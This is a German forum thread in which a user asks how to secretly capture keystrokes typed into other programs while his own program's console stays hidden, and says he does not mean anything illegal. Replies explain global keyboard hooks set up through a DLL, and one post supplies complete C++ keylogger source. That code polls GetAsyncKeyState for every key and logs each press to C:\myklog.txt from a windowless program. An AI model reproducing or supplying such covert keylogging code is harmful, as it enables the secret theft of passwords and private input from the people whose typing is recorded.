C++ Console Hilfe

Ninjasturm

Mitglied
Hallo liebe Tutorial-Community,

ich habe eine Frage und zwar
Ich erklär ich erst mal welchen Compiler ich benutz und so
-Code::Blocks IDE
-GNU GCC Compiler + Linker

Also nun meine Frage ich möchte ein Programm erstellen wo die Konsole verborgen ist (Das hab ich schon hinbekommen) und
wenn z.B. jemand etwas in ein Programm eingibt das dies auch in die Konsole eingegeben wird!

(Ich will damit kein Hacktool oder sonst irgendwas illegales machen)

Vielen Dank im Voraus
MFG Ninjasturm:D
 
hmm auch bots und ähnliches werden im allgemeinen nicht gerne gesehen; ebenso wenig keylogger;-] Nur mal so der Hinweis, dass selbiges eine illegale Straftat darstellen kann...

Ansonsten (ich will dir ja auch nichts böses unterstellen ;)) wären "Hooks" (zu deutsch Haken) das Stichwort um die Tastatur global abzufragen.

Allerdings brauchst du dafür zumindest elementare Kenntnisse in c++ und in Windows, bzw ein gutes Tutorial. Dieses ist zum Beispiel dafür sehr gut geeignet (weiß ich aus eigener Erfahrung).

mfg
kickerxy
 
Zuletzt bearbeitet:
Nein, ich beabsichtige damit nichts illegalles!

Ist es vll möglich Das einfacher zu programmieren als in dem Tutorial?

Also nur ein kleineres Script^^
 
Nein, ich beabsichtige damit nichts illegalles!
Schon gut, ich glaube dir ja ;)

Hm, also ich denke nicht, dass es grundlegend einfacher zu realisieren wäre. Das Problem ist, dass es sich um ein relativ tiefgreifendes Eindringen in das Windows-System handelt.
Ohne mich jetzt weiter damit auszukennen, behaupte ich doch, dass die Lösung mit den Hooks die einfachste/naheliegenste oder aber auch einzige Möglichkeit ist für dein Vorhaben.
Ansonsten belehr mich jemand eines besseren ;)


lg
kickerxy
 
Das Problem ist nur ich kenn mich so gut nun auch wieder nicht mit C++ aus die Grundlegenden Schlüsselwörter Array, Zeiger und so kann ich ganz gut aber...

Naja werde es versuchen ich frage mich jetzt noch ob das mit den Hooks auch in Code.:blocks mit meinem bereits vorhandenen Konsolenscript funktioniert:confused:
 
die Einbindung in dein Projekt sollte _eigentlich_ kein Problem darstellen. Ich würde dir vorschlagen, dir das Tutorial in Ruhe anzuschauen. Es ist alles gut und anschaulich erklärt. Der eigentliche Hook wird in einer DLL implementiert. Eventuell solltest du dir bei dieser Gelegenheit anschauen, was überhaupt eine DLL ist. In dieser werden dann nur 2 Funktionen benötigt:
installHook()
deinstallHook()

Die Übergabe des gedrückten Keys kann dann von der DLL entweder mittels einer WindowsMessage (PostMessage mit eigens definierter ID) oder aber mit einer Funktion geregelt werden. Aber das wäre da erst der 2. Schritt. Zunächst musst du es schaffen den Hook vernünftig zu installieren und zu deinstallieren und ggf. den Tastendruck von der Dll aus in einer txt speichern.

IMHO wäre die Implementierung in dein Projekt also nur eine DLL und 2-3 Funktionen.


#btw: die Deinstallierung des Hooks ist wichtig, da auch nach Verlassen deines Programmes der Hook (ohne Deinstallierung) noch aktiv wäre!
 
Zuletzt bearbeitet:
Hier eine Möglichkeit ohne Hooks
Das mit dem dauernden Datei öffnen und schließen ist zwar nicht so Ideal, aber das lässt sich je nach Bedarf ja anpassen
Hier werden auch noch keine Tasten wie STRG etc behandelt, soll nur ein Beispiel sein.

C++:
#include<stdio.h>
#include<iostream.h>
#include<windows.h>

int __stdcall WinMain(HINSTANCE,HINSTANCE,LPSTR,int)
{
	SHORT KeyState;SHORT ArrKeyState[256];
	long CheckSum;long OldCheckSum;
	OldCheckSum=987654;
	FILE *dat;
	while(1)
	{
		CheckSum=0;
		for(int i=0;i<256;i++)
		{
			KeyState=GetAsyncKeyState(i);
			CheckSum+=KeyState;
			ArrKeyState[i]=KeyState;
		}
		if(OldCheckSum!=CheckSum)
		{
			for(int i=0;i<256;i++)
			{
				if(ArrKeyState[i]==-32767)
				{
					dat=fopen("C:\\myklog.txt","a");
					if(dat!=NULL)
					{
						if(i!=255)
							fputc(i,dat);
						fclose(dat);
					}
				}
			}
		}
		Sleep(1);
		OldCheckSum=CheckSum;
	}
	return 0;
}
 
jetzt bin ich überrascht :-(

ich hätte nicht gedacht, dass asynckeystate globale Werte liefert. Da frag ich mich echt, wo der Vorteil von Hooks liegt (abgesehen vom manipulativem Eingriff)?
 
Zuletzt bearbeitet:
Naja, man erkennt bei meinem Code weder den Unterschied zwischen Groß/Kleinbuchstaben, keine STeuerungstasten wie STRG,F1 etc...
kann man zwar alles extra dazumachen; bei den Hooks hat man aber gleich alles da.
Außerdem könnte es hier bei einem langsamen/überlasteten System passieren, das ein paar Tastendrucke nicht erkannt werden, wenn sehr schnell geschrieben wird, weil das Programm nicht mitkommt.
Das kann mit den Hooks auch nicht passieren.
 
Zurück